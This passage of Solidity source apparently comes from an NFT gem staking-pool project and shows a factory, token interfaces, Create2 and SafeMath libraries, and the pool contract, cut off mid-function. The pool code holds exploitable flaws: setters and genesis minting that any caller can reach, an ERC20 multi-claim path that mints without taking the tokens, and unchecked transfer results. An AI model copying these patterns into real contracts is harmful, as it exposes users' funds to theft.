address of a token without interacting with the contract itself bytes memory bytecode = type(NFTGemPool).creationCode; // use create2 to deploy the quantized erc20 contract gemPool = payable(Create2.deploy(0, salt, bytecode)); // initialize the erc20 contract with the relevant addresses which it proxies NFTGemPool(gemPool).initialize(gemSymbol, gemName, ethPrice, minTime, maxTime, diffstep, maxMint, allowedToken); // insert the erc20 contract address into lists - one that maps source to quantized, _getNFTGemPool[uint256(salt)] = gemPool; _allNFTGemPools.push(gemPool); // emit an event about the new pool being created emit NFTGemPoolCreated(gemSymbol, gemName, ethPrice, minTime, maxTime, diffstep, maxMint, allowedToken); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface IControllable { event ControllerAdded(address indexed contractAddress, address indexed controllerAddress); event ControllerRemoved(address indexed contractAddress, address indexed controllerAddress); function addController(address controller) external; function isController(address controller) external view returns (bool); function relinquishControl() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface INFTGemFeeManager { event DefaultFeeDivisorChanged(address indexed operator, uint256 oldValue, uint256 value); event FeeDivisorChanged(address indexed operator, address indexed token, uint256 oldValue, uint256 value); event ETHReceived(address indexed manager, address sender, uint256 value); event LiquidityChanged(address indexed manager, uint256 oldValue, uint256 value); function liquidity(address token) external view returns (uint256); function defaultLiquidity() external view returns (uint256); function setDefaultLiquidity(uint256 _liquidityMult) external returns (uint256); function feeDivisor(address token) external view returns (uint256); function defaultFeeDivisor() external view returns (uint256); function setFeeDivisor(address token, uint256 _feeDivisor) external returns (uint256); function setDefaultFeeDivisor(uint256 _feeDivisor) external returns (uint256); function ethBalanceOf() external view returns (uint256); function balanceOF(address token) external view returns (uint256); function transferEth(address payable recipient, uint256 amount) external; function transferToken( address token, address recipient, uint256 amount ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INFTGemGovernor { event GovernanceTokenIssued(address indexed receiver, uint256 amount); event FeeUpdated(address indexed proposal, address indexed token, uint256 newFee); event AllowList(address indexed proposal, address indexed token, bool isBanned); event ProjectFunded(address indexed proposal, address indexed receiver, uint256 received); event StakingPoolCreated( address indexed proposal, address indexed pool, string symbol, string name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffStep, uint256 maxClaims, address alllowedToken ); function initialize( address _multitoken, address _factory, address _feeTracker, address _proposalFactory, address _swapHelper ) external; function createProposalVoteTokens(uint256 proposalHash) external; function destroyProposalVoteTokens(uint256 proposalHash) external; function executeProposal(address propAddress) external; function issueInitialGovernanceTokens(address receiver) external returns (uint256); function maybeIssueGovernanceToken(address receiver) external returns (uint256); function issueFuelToken(address receiver, uint256 amount) external returns (uint256); function createPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createSystemPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createNewPoolProposal( address, string memory, string memory, string memory, uint256, uint256, uint256, uint256, uint256, address ) external returns (address); function createChangeFeeProposal( address, string memory, address, address, uint256 ) external returns (address); function createFundProjectProposal( address, string memory, address, string memory, uint256 ) external returns (address); function createUpdateAllowlistProposal( address, string memory, address, address, bool ) external returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INFTGemMultiToken { // called by controller to mint a claim or a gem function mint( address account, uint256 tokenHash, uint256 amount ) external; // called by controller to burn a claim function burn( address account, uint256 tokenHash, uint256 amount ) external; function allHeldTokens(address holder, uint256 _idx) external view returns (uint256); function allHeldTokensLength(address holder) external view returns (uint256); function allTokenHolders(uint256 _token, uint256 _idx) external view returns (address); function allTokenHoldersLength(uint256 _token) external view returns (uint256); function totalBalances(uint256 _id) external view returns (uint256); function allProxyRegistries(uint256 _idx) external view returns (address); function allProxyRegistriesLength() external view returns (uint256); function addProxyRegistry(address registry) external; function removeProxyRegistryAt(uint256 index) external; function getRegistryManager() external view returns (address); function setRegistryManager(address newManager) external; function lock(uint256 token, uint256 timeframe) external; function unlockTime(address account, uint256 token) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface for a Bitgem staking pool */ interface INFTGemPool { /** * @dev Event generated when an NFT claim is created using ETH */ event NFTGemClaimCreated(address account, address pool, uint256 claimHash, uint256 length, uint256 quantity, uint256 amountPaid); /** * @dev Event generated when an NFT claim is created using ERC20 tokens */ event NFTGemERC20ClaimCreated( address account, address pool, uint256 claimHash, uint256 length, address token, uint256 quantity, uint256 conversionRate ); /** * @dev Event generated when an NFT claim is redeemed */ event NFTGemClaimRedeemed( address account, address pool, uint256 claimHash, uint256 amountPaid, uint256 feeAssessed ); /** * @dev Event generated when an NFT claim is redeemed */ event NFTGemERC20ClaimRedeemed( address account, address pool, uint256 claimHash, address token, uint256 ethPrice, uint256 tokenAmount, uint256 feeAssessed ); /** * @dev Event generated when a gem is created */ event NFTGemCreated(address account, address pool, uint256 claimHash, uint256 gemHash, uint256 quantity); function setMultiToken(address token) external; function setGovernor(address addr) external; function setFeeTracker(address addr) external; function setSwapHelper(address addr) external; function mintGenesisGems(address creator, address funder) external; function createClaim(uint256 timeframe) external payable; function createClaims(uint256 timeframe, uint256 count) external payable; function createERC20Claim(address erc20token, uint256 tokenAmount) external; function createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) external; function collectClaim(uint256 claimHash) external; function initialize( string memory, string memory, uint256, uint256, uint256, uint256, uint256, address ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface INFTGemPoolData { // pool is inited with these parameters. Once inited, all // but ethPrice are immutable. ethPrice only increases. ONLY UP function symbol() external view returns (string memory); function name() external view returns (string memory); function ethPrice() external view returns (uint256); function minTime() external view returns (uint256); function maxTime() external view returns (uint256); function difficultyStep() external view returns (uint256); function maxClaims() external view returns (uint256); // these describe the pools created contents over time. This is where // you query to get information about a token that a pool created function claimedCount() external view returns (uint256); function claimAmount(uint256 claimId) external view returns (uint256); function claimQuantity(uint256 claimId) external view returns (uint256); function mintedCount() external view returns (uint256); function totalStakedEth() external view returns (uint256); function tokenId(uint256 tokenHash) external view returns (uint256); function tokenType(uint256 tokenHash) external view returns (uint8); function allTokenHashesLength() external view returns (uint256); function allTokenHashes(uint256 ndx) external view returns (uint256); function nextClaimHash() external view returns (uint256); function nextGemHash() external view returns (uint256); function nextGemId() external view returns (uint256); function nextClaimId() external view returns (uint256); function claimUnlockTime(uint256 claimId) external view returns (uint256); function claimTokenAmount(uint256 claimId) external view returns (uint256); function stakedToken(uint256 claimId) external view returns (address); function allowedTokensLength() external view returns (uint256); function allowedTokens(uint256 idx) external view returns (address); function isTokenAllowed(address token) external view returns (bool); function addAllowedToken(address token) external; function removeAllowedToken(address token) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface for a Bitgem staking pool */ interface INFTGemPoolFactory { /** * @dev emitted when a new gem pool has been added to the system */ event NFTGemPoolCreated( string gemSymbol, string gemName, uint256 ethPrice, uint256 mintTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ); function getNFTGemPool(uint256 _symbolHash) external view returns (address); function allNFTGemPools(uint256 idx) external view returns (address); function allNFTGemPoolsLength() external view returns (uint256); function createNFTGemPool( string memory gemSymbol, string memory gemName, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ) external returns (address payable); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface ISwapQueryHelper { function coinQuote(address token, uint256 tokenAmount) external view returns ( uint256, uint256, uint256 ); function factory() external pure returns (address); function COIN() external pure returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function hasPool(address token) external view returns (bool); function getReserves( address pair ) external view returns (uint256, uint256); function pairFor( address tokenA, address tokenB ) external pure returns (address); function getPathForCoinToToken(address token) external pure returns (address[] memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /** * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer. * `CREATE2` can be used to compute in advance the address where a smart * contract will be deployed, which allows for interesting new mechanisms known * as 'counterfactual interactions'. * * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more * information. */ library Create2 { /** * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. * - the factory must have a balance of at least `amount`. * - if `amount` is non-zero, `bytecode` must have a `payable` constructor. */ function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) { address addr; require(address(this).balance >= amount, "Create2: insufficient balance"); require(bytecode.length != 0, "Create2: bytecode length is zero"); // solhint-disable-next-line no-inline-assembly assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); return addr; } /** * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /** * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) { bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash) ); return address(uint160(uint256(_data))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../utils/Initializable.sol"; import "../interfaces/INFTGemMultiToken.sol"; import "../interfaces/INFTGemFeeManager.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC1155.sol"; import "../interfaces/INFTGemPool.sol"; import "../interfaces/INFTGemGovernor.sol"; import "../interfaces/ISwapQueryHelper.sol"; import "../libs/SafeMath.sol"; import "./NFTGemPoolData.sol"; contract NFTGemPool is Initializable, NFTGemPoolData, INFTGemPool { using SafeMath for uint256; // governor and multitoken target address private _multitoken; address private _governor; address private _feeTracker; address private _swapHelper; /** * @dev initializer called when contract is deployed */ function initialize ( string memory __symbol, string memory __name, uint256 __ethPrice, uint256 __minTime, uint256 __maxTime, uint256 __diffstep, uint256 __maxClaims, address __allowedToken ) external override initializer { _symbol = __symbol; _name = __name; _ethPrice = __ethPrice; _minTime = __minTime; _maxTime = __maxTime; _diffstep = __diffstep; _maxClaims = __maxClaims; if(__allowedToken != address(0)) { _allowedTokens.push(__allowedToken); _isAllowedMap[__allowedToken] = true; } } /** * @dev set the governor. pool uses the governor to issue gov token issuance requests */ function setGovernor(address addr) external override { require(_governor == address(0), "IMMUTABLE"); _governor = addr; } /** * @dev set the governor. pool uses the governor to issue gov token issuance requests */ function setFeeTracker(address addr) external override { require(_feeTracker == address(0), "IMMUTABLE"); _feeTracker = addr; } /** * @dev set the multitoken that this pool will mint new tokens on. Must be a controller of the multitoken */ function setMultiToken(address token) external override { require(_multitoken == address(0), "IMMUTABLE"); _multitoken = token; } /** * @dev set the multitoken that this pool will mint new tokens on. Must be a controller of the multitoken */ function setSwapHelper(address helper) external override { require(_swapHelper == address(0), "IMMUTABLE"); _swapHelper = helper; } /** * @dev mint the genesis gems earned by the pools creator and funder */ function mintGenesisGems(address creator, address funder) external override { require(_multitoken != address(0), "NO_MULTITOKEN"); require(creator != address(0) && funder != address(0), "ZERO_DESTINATION"); require(_nextGemId == 0, "ALREADY_MINTED"); uint256 gemHash = _nextGemHash(); INFTGemMultiToken(_multitoken).mint(creator, gemHash, 1); _addToken(gemHash, 2); gemHash = _nextGemHash(); INFTGemMultiToken(_multitoken).mint(creator, gemHash, 1); _addToken(gemHash, 2); } /** * @dev the external version of the above */ function createClaim(uint256 timeframe) external payable override { _createClaim(timeframe); } /** * @dev the external version of the above */ function createClaims(uint256 timeframe, uint256 count) external payable override { _createClaims(timeframe, count); } /** * @dev create a claim using a erc20 token */ function createERC20Claim(address erc20token, uint256 tokenAmount) external override { _createERC20Claim(erc20token, tokenAmount); } /** * @dev create a claim using a erc20 token */ function createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) external override { _createERC20Claims(erc20token, tokenAmount, count); } /** * @dev default receive. tries to issue a claim given the received ETH or */ receive() external payable { uint256 incomingEth = msg.value; // compute the mimimum cost of a claim and revert if not enough sent uint256 minClaimCost = _ethPrice.div(_maxTime).mul(_minTime); require(incomingEth >= minClaimCost, "INSUFFICIENT_ETH"); // compute the minimum actual claim time uint256 actualClaimTime = _minTime; // refund ETH above max claim cost if (incomingEth <= _ethPrice) { actualClaimTime = _ethPrice.div(incomingEth).mul(_minTime); } // create the claim using minimum possible claim time _createClaim(actualClaimTime); } /** * @dev attempt to create a claim using the given timeframe */ function _createClaim(uint256 timeframe) internal { // minimum timeframe require(timeframe >= _minTime, "TIMEFRAME_TOO_SHORT"); // maximum timeframe require((_maxTime != 0 && timeframe <= _maxTime) || _maxTime == 0, "TIMEFRAME_TOO_LONG"); // cost given this timeframe uint256 cost = _ethPrice.mul(_minTime).div(timeframe); require(msg.value > cost, "INSUFFICIENT_ETH"); // get the nest claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(timeframe); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = cost; claimQuant[claimHash] = 1; // increase the staked eth balance _totalStakedEth = _totalStakedEth.add(cost); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, cost); emit NFTGemClaimCreated(msg.sender, address(this), claimHash, timeframe, 1, cost); if (msg.value > cost) { (bool success, ) = payable(msg.sender).call{value: msg.value.sub(cost)}(""); require(success, "REFUND_FAILED"); } } /** * @dev attempt to create a claim using the given timeframe */ function _createClaims(uint256 timeframe, uint256 count) internal { // minimum timeframe require(timeframe >= _minTime, "TIMEFRAME_TOO_SHORT"); // no ETH require(msg.value != 0, "ZERO_BALANCE"); // zero qty require(count != 0, "ZERO_QUANTITY"); // maximum timeframe require((_maxTime != 0 && timeframe <= _maxTime) || _maxTime == 0, "TIMEFRAME_TOO_LONG"); uint256 adjustedBalance = msg.value.div(count); // cost given this timeframe uint256 cost = _ethPrice.mul(_minTime).div(timeframe); require(adjustedBalance >= cost, "INSUFFICIENT_ETH"); // get the nest claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(timeframe); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = cost.mul(count); claimQuant[claimHash] = count; // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, cost); emit NFTGemClaimCreated(msg.sender, address(this), claimHash, timeframe, count, cost); // increase the staked eth balance _totalStakedEth = _totalStakedEth.add(cost.mul(count)); if (msg.value > cost.mul(count)) { (bool success, ) = payable(msg.sender).call{value: msg.value.sub(cost.mul(count))}(""); require(success, "REFUND_FAILED"); } } /** * @dev crate a gem claim using an erc20 token. this token must be tradeable in Uniswap or this call will fail */ function _createERC20Claim(address erc20token, uint256 tokenAmount) internal { // must be a valid address require(erc20token != address(0), "INVALID_ERC20_TOKEN"); // token is allowed require((_allowedTokens.length > 0 && _isAllowedMap[erc20token]) || _allowedTokens.length == 0, "TOKEN_DISALLOWED"); // Uniswap pool must exist require(ISwapQueryHelper(_swapHelper).hasPool(erc20token) == true, "NO_UNISWAP_POOL"); // must have an amount specified require(tokenAmount >= 0, "NO_PAYMENT_INCLUDED"); // get a quote in ETH for the given token. (uint256 ethereum, uint256 tokenReserve, uint256 ethReserve) = ISwapQueryHelper(_swapHelper).coinQuote(erc20token, tokenAmount); // get the min liquidity from fee tracker uint256 liquidity = INFTGemFeeManager(_feeTracker).liquidity(erc20token); // make sure the convertible amount is has reserves > 100x the token require(ethReserve >= ethereum.mul(liquidity), "INSUFFICIENT_ETH_LIQUIDITY"); // make sure the convertible amount is has reserves > 100x the token require(tokenReserve >= tokenAmount.mul(liquidity), "INSUFFICIENT_TOKEN_LIQUIDITY"); // make sure the convertible amount is less than max price require(ethereum <= _ethPrice, "OVERPAYMENT"); // calculate the maturity time given the converted eth uint256 maturityTime = _ethPrice.mul(_minTime).div(ethereum); // make sure the convertible amount is less than max price require(maturityTime >= _minTime, "INSUFFICIENT_TIME"); // get the next claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // transfer the caller's ERC20 tokens into the pool IERC20(erc20token).transferFrom(msg.sender, address(this), tokenAmount); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(maturityTime); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = ethereum; claimLockToken[claimHash] = erc20token; claimTokenAmountPaid[claimHash] = tokenAmount; claimQuant[claimHash] = 1; _totalStakedEth = _totalStakedEth.add(ethereum); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, ethereum); // emit a message indicating that an erc20 claim has been created emit NFTGemERC20ClaimCreated(msg.sender, address(this), claimHash, maturityTime, erc20token, 1, ethereum); } /** * @dev crate multiple gem claim using an erc20 token. this token must be tradeable in Uniswap or this call will fail */ function _createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) internal { // must be a valid address require(erc20token != address(0), "INVALID_ERC20_TOKEN"); // token is allowed require((_allowedTokens.length > 0 && _isAllowedMap[erc20token]) || _allowedTokens.length == 0, "TOKEN_DISALLOWED"); // zero qty require(count != 0, "ZERO_QUANTITY"); // Uniswap pool must exist require(ISwapQueryHelper(_swapHelper).hasPool(erc20token) == true, "NO_UNISWAP_POOL"); // must have an amount specified require(tokenAmount >= 0, "NO_PAYMENT_INCLUDED"); // get a quote in ETH for the given token. (uint256 ethereum, uint256 tokenReserve, uint256 ethReserve) = ISwapQueryHelper(_swapHelper).coinQuote( erc20token, tokenAmount.div(count) ); // make sure the convertible amount is has reserves > 100x the token require(ethReserve >= ethereum.mul(100).mul(count), "INSUFFICIENT_ETH_LIQUIDITY"); // make sure the convertible amount is has reserves > 100x the token require(tokenReserve >= tokenAmount.mul(100).mul(count), "INSUFFICIENT_TOKEN_LIQUIDITY"); // make sure the convertible amount is less than max price require(ethereum <= _ethPrice, "OVERPAYMENT"); // calculate the maturity time given the converted eth uint256 maturityTime = _ethPrice.mul(_minTime).div(ethereum); // make sure the convertible amount is less than max price require(maturityTime >= _minTime, "INSUFFICIENT_TIME"); // get the next claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(maturityTime); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = ethereum; claimLockToken[claimHash] = erc20token; claimTokenAmountPaid[claimHash] = tokenAmount; claimQuant[claimHash] = count; // increase staked eth amount _totalStakedEth = _totalStakedEth.add(ethereum); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, ethereum); // emit a message indicating that an erc20 